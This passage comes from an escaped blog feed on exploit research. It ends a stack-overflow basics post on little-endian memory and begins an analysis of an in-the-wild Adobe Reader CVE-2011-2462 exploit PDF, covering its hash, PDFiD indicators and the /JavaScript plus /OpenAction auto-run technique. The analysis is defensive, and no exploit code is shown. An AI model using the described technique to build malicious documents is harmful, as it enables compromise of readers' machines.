&lt;pre style=&quot;-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;0x0012ff6c&amp;nbsp;: 41 42 43 44 00 00 00 00 00 ...&lt;/span&gt;&lt;/pre&gt;
In a Little endian hardware , the least significant byte of the word / dword is stored first at the lowest memory address and the next subsequent bytes are stored at increasing memory locations . Intel processors store the data in the little endian format . So If you take the memory dump of the bytes stored in&amp;nbsp;little endian format , you will find 0x41424344 stored in the memory&amp;nbsp;as below:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;color: white;&quot;&gt;ADDRESS        &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; : ---- MEMORY BYTES ---------- &lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span style=&quot;color: white;&quot;&gt;0x0012ff6c  : 44 43 42 41 00 00 00 00 00 ...&lt;/span&gt;&lt;/pre&gt;
&lt;div style=&quot;-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;-webkit-text-size-adjust: auto; -webkit-text-stroke-width: 0px; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1XlacDKq8BIctF5vWYwXqtL63cwM2CBFu2mTygXtI356mHWqZkbhlp7WQ7CWD_aAObrZRnE2PILq93KsX-EiSwskceCO8LHxrQVwlJn9dNKACRkgpK4VkIPYlbkFvIOlmZZEjs9yy7M/s1600/stack17.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjq1XlacDKq8BIctF5vWYwXqtL63cwM2CBFu2mTygXtI356mHWqZkbhlp7WQ7CWD_aAObrZRnE2PILq93KsX-EiSwskceCO8LHxrQVwlJn9dNKACRkgpK4VkIPYlbkFvIOlmZZEjs9yy7M/s1600/stack17.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;br /&gt;
In part 2 of this series, we will explore stack overflow vulnerability in a commercial software and see how it can be exploited to do something very intersting..&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
</description><link>http://extreme-security.blogspot.com/2012/11/stack-overflows-part-1-basics.html</link><author>noreply@blogger.com (Chintan Shah)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ2ZROJeVqUWRiqjqG-tsznUn6P833QKhN2OcQIs0QqTCYZlHyaRW5z0y6Is3HTtwE3RNvnsL3c8Jb31sAY1T-ovGBivb3omY4uOqJ-6S61Unl_-zNvNtHqPSPAWjaeV_3RqcHAmBTirY/s72-c/memory1.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7570290518879810718.post-7156339436959169682</guid><pubDate>Fri, 16 Nov 2012 13:10:00 +0000</pubDate><atom:updated>2014-06-04T23:26:28.255+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">Vulnerability and Exploit Research</category><title>Adobe Reader 0 day U3D Memory Corruption Vulnerability - Analysis Of The Exploit </title><description>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;During the December last year , a critical
vulnerability was identified in Adobe Reader X / Adobe Acrobat X version
10.1.1 and earlier for Windows and Mac OS , Adobe Reader 9.4.6&amp;nbsp; and Adobe Reader 9.x versions for Unix . This was a 0 day vulnerability (CVE-2011-2462) &amp;nbsp;potentially allowing &amp;nbsp;an attacker to execute &amp;nbsp;arbitrary code and take the control of &amp;nbsp;victim &amp;nbsp;machine without user knowledge &amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;I analysed the exploit (sample being circulated in the wild) and figure out how
the vulnerability was being exploited and the malicious binary is being dropped
on to a &amp;nbsp;system which in-turn allows the
attacker to take the control of the system after the successful exploitation.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;u&gt;Analysis of &amp;nbsp;the PDF &amp;nbsp;0 day exploit&lt;/u&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;I analysed in
the&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;exploit PDF with MD5 : b025b06549caae5a7c1d23ac1d014892,
&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;that I received few days back. The
technique used in this exploit has been known to the researchers since the ages.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Let’s check what we get
as the output when we run PDFiD tool against this exploit.&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjju-qcsUekbxO2LFOSrEL99q1aUlOi484uLO7upgCLKXtSZN85d9psAy763q3K-m3UWrxqwMH-afx6ZkQQG75iwNGfeKFF1P9yy_9NZLzjzYHtAjTbHOZTX2O2weAh4hepJhz4EyAP1G0/s1600/17.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjju-qcsUekbxO2LFOSrEL99q1aUlOi484uLO7upgCLKXtSZN85d9psAy763q3K-m3UWrxqwMH-afx6ZkQQG75iwNGfeKFF1P9yy_9NZLzjzYHtAjTbHOZTX2O2weAh4hepJhz4EyAP1G0/s400/17.png&quot; height=&quot;242&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Looking at the output of
the PDFiD , we can rightaway make out on what this exploit would contain
within. As with a lot of other exploits in the wild, this document uses the
technique of /JavaScript and /OpenAction to launch the malicious javascript .
The combination of both these make this document suspicious to an eye of the
researcher.&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;/JS&amp;nbsp; and /JavaScript indicates that this pdf
document contains the javascript while the /OpenAction&amp;nbsp; indicates the action to be performed
automatically when the document is viewed&amp;nbsp;
Let’s &amp;nbsp;take the deeper look at the
object structure of the pdf document and find out what is interesting to us&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;b style=&quot;font-family: inherit;&quot;&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Object Analysis of the PDF document&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXjTKxk_eTb6IgLeIazOxq1xEqpfObD-hYXqYxi5CEt0WIUAH8a3KQOKt9sPpDEfbZf5lTkFzBJ94v0qOT-tOQlUYETr4WqWKRwHL6ZKzGSV-909q2zcSvy6WpOk-Cc1aXNf_H5p32lCA/s1600/18.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjXjTKxk_eTb6IgLeIazOxq1xEqpfObD-hYXqYxi5CEt0WIUAH8a3KQOKt9sPpDEfbZf5lTkFzBJ94v0qOT-tOQlUYETr4WqWKRwHL6ZKzGSV-909q2zcSvy6WpOk-Cc1aXNf_H5p32lCA/s400/18.png&quot; height=&quot;73&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;u&gt;&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/u&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Just to get back to some basics , you might already
know , pdf dictionary objects starts with the keyword &lt;b&gt;obj&lt;/b&gt; and end with &lt;b&gt;endobj &lt;/b&gt;while
pdf stream dictionary objects starts with the &lt;b&gt;stream&lt;/b&gt; and ends with &lt;b&gt;endstream
&lt;/b&gt;keywords&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzmv6CZYfB2s6wUNuONDHU7sEHcz0Ii6qcsy9CdzhGT9augNmHX_urO3g-8k8kAqe9BcHWRuaTsL6bZLFeVSet1tmYCZz6Hu1jW5_vFrZPZGYJkNdisqN5tVoZqn8_SgfVZGCV279xWaY/s1600/19.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjzmv6CZYfB2s6wUNuONDHU7sEHcz0Ii6qcsy9CdzhGT9augNmHX_urO3g-8k8kAqe9BcHWRuaTsL6bZLFeVSet1tmYCZz6Hu1jW5_vFrZPZGYJkNdisqN5tVoZqn8_SgfVZGCV279xWaY/s400/19.png&quot; height=&quot;65&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;b&gt;&lt;span lang=&quot;EN-US&quot; style=&quot;color: yellow;&quot;&gt;Object 4&lt;/span&gt;&lt;/b&gt;&lt;span lang=&quot;EN-US&quot;&gt; has the /OpenAction
reference to the object 14&amp;nbsp; which seems
particularly interesting.&lt;span class=&quot;msoIns&quot;&gt;&lt;ins cite=&quot;mailto:Ravi%20Balupari&quot; datetime=&quot;2011-12-12T14:04&quot;&gt; &lt;/ins&gt;&lt;/span&gt;Lets take a look at what’s out there
in the referenced object&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;color: #7f7f7f; font-family: &#39;Palatino Linotype&#39;, serif; font-size: 13pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
&lt;span lang=&quot;EN-US&quot; style=&quot;color: #7f7f7f; font-family: &amp;quot;Palatino Linotype&amp;quot;,&amp;quot;serif&amp;quot;; font-size: 13.0pt; mso-ansi-language: EN-US; mso-bidi-font-family: Andalus; mso-bidi-language: AR-SA; mso-fareast-font-family: Calibri; mso-fareast-language: EN-US; mso-fareast-theme-font: minor-latin; mso-themecolor: text1; mso-themetint: 128;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjlmfvm2Tab16eOkLJ4cuD2Nfrb6PDbh_MR_0GNuAPlalZ8mRCq_8QZPAGlmYAiqZ2-ZG1eekKrQj0XOWMTWle7V0g8nA2JSJ1BY8oypm2NEaqZ5-JL0UaNMjKrSJrFgGkcrqCFQj9t5U/s1600/20.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjlmfvm2Tab16eOkLJ4cuD2Nfrb6PDbh_MR_0GNuAPlalZ8mRCq_8QZPAGlmYAiqZ2-ZG1eekKrQj0XOWMTWle7V0g8nA2JSJ1BY8oypm2NEaqZ5-JL0UaNMjKrSJrFgGkcrqCFQj9t5U/s400/20.png&quot; height=&quot;52&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: .0001pt; margin-bottom: 0cm;&quot;&gt;
